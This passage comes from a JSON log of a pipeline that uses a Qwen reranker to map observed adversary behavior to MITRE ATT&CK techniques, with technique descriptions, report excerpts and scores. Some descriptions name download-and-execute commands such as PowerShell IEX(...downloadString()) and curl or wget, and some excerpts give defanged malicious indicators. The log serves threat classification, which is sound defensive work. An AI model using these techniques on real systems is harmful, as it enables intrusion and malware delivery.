(ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or Phishing emails may evade reputation-based email filtering rules. Adversaries can use a compromised email account to hijack existing email threads with targets of interest.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1597", + "text": "ATT&CK technique: T1597 Search Closed Sources\nDescription: Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1683.002", + "text": "ATT&CK technique: T1683.002 Audio-Visual Content\nDescription: Adversaries may create or manipulate audio, image, and video content to support targeting and malicious operations. Adversaries may also use synthetic voice recordings, real-time altered audio or video during live interactions, fabricated profile photos and identity documents, or video content depicting fabricated or impersonated individuals. Content may be produced manually through editing tools, generated using AI-assisted tools, or produced using third-party synthetic services. AI-assisted tools have enabled adversaries to produce synthetic media at scale and generate content that is more difficult to identify as inauthentic. Audio-visual content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1588.007", + "text": "ATT&CK technique: T1588.007 Artificial Intelligence\nDescription: Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting Reconnaissance, creating basic scripts, assisting social engineering, and even developing payloads. For example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in Phishing/Phishing for Information campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting Develop Capabilities. AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., Obfuscated Files or Information) malicious scripts and payloads. Finally, AI-generated text, images, audio, and video may be used for fraud, Impersonation, and other malicious activities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1592.003", + "text": "ATT&CK technique: T1592.003 Firmware\nDescription: Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.). Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1583.006", + "text": "ATT&CK technique: T1583.006 Web Services\nDescription: Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google, GitHub, or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1584.004", + "text": "ATT&CK technique: T1584.004 Server\nDescription: Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a Server or Virtual Private Server, adversaries may compromise third-party servers in support of operations. Adversaries may also compromise web servers to support watering hole operations, as in Drive-by Compromise, or email servers to support Phishing operations.\nTactics: resource development\nPlatforms: PRE" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1566", + "score": 0.9921875, + "rank": 0 + }, + { + "item_id": "T1598.003", + "score": 0.984375, + "rank": 1 + }, + { + "item_id": "T1593", + "score": 0.9375, + "rank": 2 + }, + { + "item_id": "T1598", + "score": 0.65234375, + "rank": 3 + }, + { + "item_id": "T1608.005", + "score": 0.439453125, + "rank": 4 + }, + { + "item_id": "T1566.002", + "score": 0.34765625, + "rank": 5 + }, + { + "item_id": "T1598.001", + "score": 0.181640625, + "rank": 6 + }, + { + "item_id": "T1593.002", + "score": 0.1640625, + "rank": 7 + }, + { + "item_id": "T1596.002", + "score": 0.1474609375, + "rank": 8 + }, + { + "item_id": "T1594", + "score": 0.11962890625, + "rank": 9 + }, + { + "item_id": "T1557", + "score": 0.10693359375, + "rank": 10 + }, + { + "item_id": "T1589", + "score": 0.1005859375, + "rank": 11 + }, + { + "item_id": "T1596", + "score": 0.09619140625, + "rank": 12 + }, + { + "item_id": "T1204", + "score": 0.09033203125, + "rank": 13 + }, + { + "item_id": "T1598.002", + "score": 0.056396484375, + "rank": 14 + }, + { + "item_id": "T1592", + "score": 0.052978515625, + "rank": 15 + }, + { + "item_id": "T1590", + "score": 0.039306640625, + "rank": 16 + }, + { + "item_id": "T1684.001", + "score": 0.039306640625, + "rank": 17 + }, + { + "item_id": "T1586.002", + "score": 0.039306640625, + "rank": 18 + }, + { + "item_id": "T1591", + "score": 0.035400390625, + "rank": 19 + }, + { + "item_id": "T1566.003", + "score": 0.033203125, + "rank": 20 + }, + { + "item_id": "T1583", + "score": 0.02587890625, + "rank": 21 + }, + { + "item_id": "T1056", + "score": 0.0203857421875, + "rank": 22 + }, + { + "item_id": "T1589.001", + "score": 0.0203857421875, + "rank": 23 + }, + { + "item_id": "T1683.001", + "score": 0.0203857421875, + "rank": 24 + }, + { + "item_id": "T1608.004", + "score": 0.0191650390625, + "rank": 25 + }, + { + "item_id": "T1598.004", + "score": 0.015625, + "rank": 26 + }, + { + "item_id": "T1590.003", + "score": 0.01519775390625, + "rank": 27 + }, + { + "item_id": "T1566.004", + "score": 0.01519775390625, + "rank": 28 + }, + { + "item_id": "T1682", + "score": 0.013427734375, + "rank": 29 + }, + { + "item_id": "T1534", + "score": 0.0118408203125, + "rank": 30 + }, + { + "item_id": "T1584", + "score": 0.00921630859375, + "rank": 31 + }, + { + "item_id": "T1596.004", + "score": 0.0086669921875, + "rank": 32 + }, + { + "item_id": "T1583.008", + "score": 0.0086669921875, + "rank": 33 + }, + { + "item_id": "T1185", + "score": 0.00811767578125, + "rank": 34 + }, + { + "item_id": "T1059", + "score": 0.00811767578125, + "rank": 35 + }, + { + "item_id": "T1593.001", + "score": 0.00811767578125, + "rank": 36 + }, + { + "item_id": "T1586", + "score": 0.00811767578125, + "rank": 37 + }, + { + "item_id": "T1591.002", + "score": 0.00762939453125, + "rank": 38 + }, + { + "item_id": "T1597", + "score": 0.00762939453125, + "rank": 39 + }, + { + "item_id": "T1659", + "score": 0.007171630859375, + "rank": 40 + }, + { + "item_id": "T1539", + "score": 0.005584716796875, + "rank": 41 + }, + { + "item_id": "T1591.004", + "score": 0.005584716796875, + "rank": 42 + }, + { + "item_id": "T1596.003", + "score": 0.00494384765625, + "rank": 43 + }, + { + "item_id": "T1584.004", + "score": 0.00494384765625, + "rank": 44 + }, + { + "item_id": "T1557.004", + "score": 0.004638671875, + "rank": 45 + }, + { + "item_id": "T1588.007", + "score": 0.004638671875, + "rank": 46 + }, + { + "item_id": "T1665", + "score": 0.004364013671875, + "rank": 47 + }, + { + "item_id": "T1591.003", + "score": 0.00408935546875, + "rank": 48 + }, + { + "item_id": "T1591.001", + "score": 0.00408935546875, + "rank": 49 + }, + { + "item_id": "T1596.005", + "score": 0.00408935546875, + "rank": 50 + }, + { + "item_id": "T1590.004", + "score": 0.0031890869140625, + "rank": 51 + }, + { + "item_id": "T1584.006", + "score": 0.0031890869140625, + "rank": 52 + }, + { + "item_id": "T1597.002", + "score": 0.0028076171875, + "rank": 53 + }, + { + "item_id": "T1140", + "score": 0.002471923828125, + "rank": 54 + }, + { + "item_id": "T1583.006", + "score": 0.002471923828125, + "rank": 55 + }, + { + "item_id": "T1592.003", + "score": 0.0017547607421875, + "rank": 56 + }, + { + "item_id": "T1036", + "score": 0.00170135498046875, + "rank": 57 + }, + { + "item_id": "T1589.003", + "score": 0.0016021728515625, + "rank": 58 + }, + { + "item_id": "T1001.003", + "score": 0.00141143798828125, + "rank": 59 + }, + { + "item_id": "T1584.008", + "score": 0.0013275146484375, + "rank": 60 + }, + { + "item_id": "T1189", + "score": 0.00113677978515625, + "rank": 61 + }, + { + "item_id": "T1491", + "score": 0.00113677978515625, + "rank": 62 + }, + { + "item_id": "T1071", + "score": 0.00096893310546875, + "rank": 63 + }, + { + "item_id": "T1683.002", + "score": 0.00096893310546875, + "rank": 64 + }, + { + "item_id": "T1190", + "score": 0.000858306884765625, + "rank": 65 + }, + { + "item_id": "T1036.012", + "score": 0.0006866455078125, + "rank": 66 + }, + { + "item_id": "T1681", + "score": 0.000518798828125, + "rank": 67 + }, + { + "item_id": "T1573", + "score": 0.0005035400390625, + "rank": 68 + }, + { + "item_id": "T1056.003", + "score": 0.0005035400390625, + "rank": 69 + }, + { + "item_id": "T1090.003", + "score": 0.0003681182861328125, + "rank": 70 + }, + { + "item_id": "T1614", + "score": 0.0003147125244140625, + "rank": 71 + }, + { + "item_id": "T1105", + "score": 0.0002307891845703125, + "rank": 72 + }, + { + "item_id": "T1567", + "score": 0.00021648406982421875, + "rank": 73 + }, + { + "item_id": "T1132", + "score": 0.000148773193359375, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 25723 + } + }, + "evidence_sha256": "e78a1e4b1b035b0afe21a364232149661a9f439fd461eb70bad9c05a5f0241e2" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 915.0, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: Of those 1200+ sites only 43.7% of domains and 18.9% of IP addresses appeared on popular blocklists like VirusTotal" + }, + "items": [ + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: And a non-exhaustive list of malicious websites serving malwares, C&C domains is also included in the IoC section." + }, + { + "id": "T1189", + "text": "ATT&CK technique: T1189 Drive-by Compromise\nDescription: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including: * A legitimate website is compromised, allowing adversaries to inject malicious code * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising) * Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting) Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser. Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered. Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS\nLabeled report example: The website used to drop that script is hosted in an IP range that has been used by two prominent BPH providers, MoreneHost and Yalishanda." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: Figure 8: Multiple possible skimmer domains resolving to the same IP address." + }, + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: Currently, both of these NRDs are resolving to the same IP 34.125.186[.]248, which hosts multiple (possible) skimmer domains lexically close to legitimate services." + }, + { + "id": "T1071", + "text": "ATT&CK technique: T1071 Application Layer Protocol\nDescription: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: This is for several reasons: first, malicious traffic blends in more easily with legitimate traffic on standard protocols like HTTP/S; second, companies that rely on appliances for security often don’t inspect all SSL/TLS encrypted traffic as it is extremely resource-intensive to do so." + }, + { + "id": "T1608", + "text": "ATT&CK technique: T1608 Stage Capabilities\nDescription: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications. Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site. * Staging web resources for a link target to be used with spearphishing. * Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer. * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Due to the static content distribution service, it is highly popular among threat actors to host malicious attachments that remain publicly accessible even after removing actual files from Discord." + }, + { + "id": "T1573", + "text": "ATT&CK technique: T1573 Encrypted Channel\nDescription: Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: SSL inspection is advisable to detect and block such threats using SSL to hide their malicious intent." + }, + { + "id": "T1583", + "text": "ATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: As the 2020 presidential election is one of the top trending events, The ThreatLabZ team has been actively monitoring newly registered domains (NRDs) based on election trends and keywords for the past three months." + }, + { + "id": "T1518", + "text": "ATT&CK technique: T1518 Software Discovery\nDescription: Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Such software may be deployed widely across the environment for configuration management or security reasons, such as Software Deployment Tools, and may allow adversaries broad access to infect devices or move laterally. Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to Exploitation for Privilege Escalation.\nTactics: discovery\nPlatforms: ESXi, IaaS, Linux, Windows, macOS\nLabeled report example: * Antivirus products located in the “SecurityCenter2” path" + }, + { + "id": "T1499", + "text": "ATT&CK technique: T1499 Endpoint Denial of Service\nDescription: Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes and to support other malicious activities, including distraction, hacktivism, and extortion. An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets. Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks. In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers. For attacks attempting to saturate the providing network, see Network Denial of Service.\nTactics: impact\nPlatforms: Containers, IaaS, Linux, Windows, macOS\nLabeled report example: While Proofpoint does not have visibility into the actual “Fancy Lazarus” DDoS attacks and whether they are carried out, FBI [reporting](https://www.documentcloud.org/documents/7070798-FLASH-MU-000132-DD.html) indicates that many affected companies that pass the threatened deadline either do not see any additional activity or the activity is successfully mitigated." + }, + { + "id": "T1614", + "text": "ATT&CK technique: T1614 System Location Discovery\nDescription: Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from System Location Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings. Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host. In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance. Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.\nTactics: discovery\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: * Customizable to not work in a blacklisted country" + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: The malware payload download stats from pastebin indicate he is having decent success." + }, + { + "id": "T1571", + "text": "ATT&CK technique: T1571 Non-Standard Port\nDescription: Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data. Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The network communication in this case is produced by HTTP to the domain **office365-update[.]co** to TCP/2082 port." + }, + { + "id": "T1190", + "text": "ATT&CK technique: T1190 Exploit Public-Facing Application\nDescription: Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Stealth or Exploitation for Client Execution. If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies. Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.\nTactics: initial access\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: Websites in the shopping category are the most common targets for skimmer attacks, but other URL categories have also fallen victim to these attacks, as shown in the following chart:" + }, + { + "id": "T1027", + "text": "ATT&CK technique: T1027 Obfuscated Files or Information\nDescription: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. Adversaries may also use compressed or archived scripts, such as JavaScript. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. Adversaries may also abuse Command Obfuscation to obscure commands executed from payloads or directly via Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.\nTactics: stealth\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Figure 6: Obfuscated skimmer script." + }, + { + "id": "T1491", + "text": "ATT&CK technique: T1491 Defacement\nDescription: Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages.\nTactics: impact\nPlatforms: ESXi, IaaS, Linux, Windows, macOS\nLabeled report example: These attacks are used for everything from data theft to site defacement to distribution of malware." + }, + { + "id": "T1573.002", + "text": "ATT&CK technique: T1573.002 Asymmetric Cryptography\nDescription: Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: This is for several reasons: first, malicious traffic blends in more easily with legitimate traffic on standard protocols like HTTP/S; second, companies that rely on appliances for security often don’t inspect all SSL/TLS encrypted traffic as it is extremely resource-intensive to do so." + }, + { + "id": "T1486", + "text": "ATT&CK technique: T1486 Data Encrypted for Impact\nDescription: Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted. In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR. Adversaries may also encrypt virtual machines hosted on ESXi or other hypervisors. To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares. Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers or ESXi server login messages, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\"). In cloud environments, storage objects within compromised accounts may also be encrypted. For example, in AWS environments, adversaries may leverage services such as AWS’s Server-Side Encryption with Customer Provided Keys (SSE-C) to encrypt data.\nTactics: impact\nPlatforms: ESXi, IaaS, Linux, Windows, macOS\nLabeled report example: Intel 471 has been tracking over 25 different ransomware-as-a-service crews over the past year, ranging from well-known groups that have become synonymous with ransomware, to newly-formed variants that have risen from the failures of old, to completely new variants that may have the ability to unseat the current top-level cabals." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: The file invoice-522.xls (SHA256: 34c5591a749636853aef4f9b3867560319d78ab530a332575fee88a85287dcfa) was analyzed on the VirusTotal intelligence platform and found to communicate with the same IP address, although via a different domain and file path." + 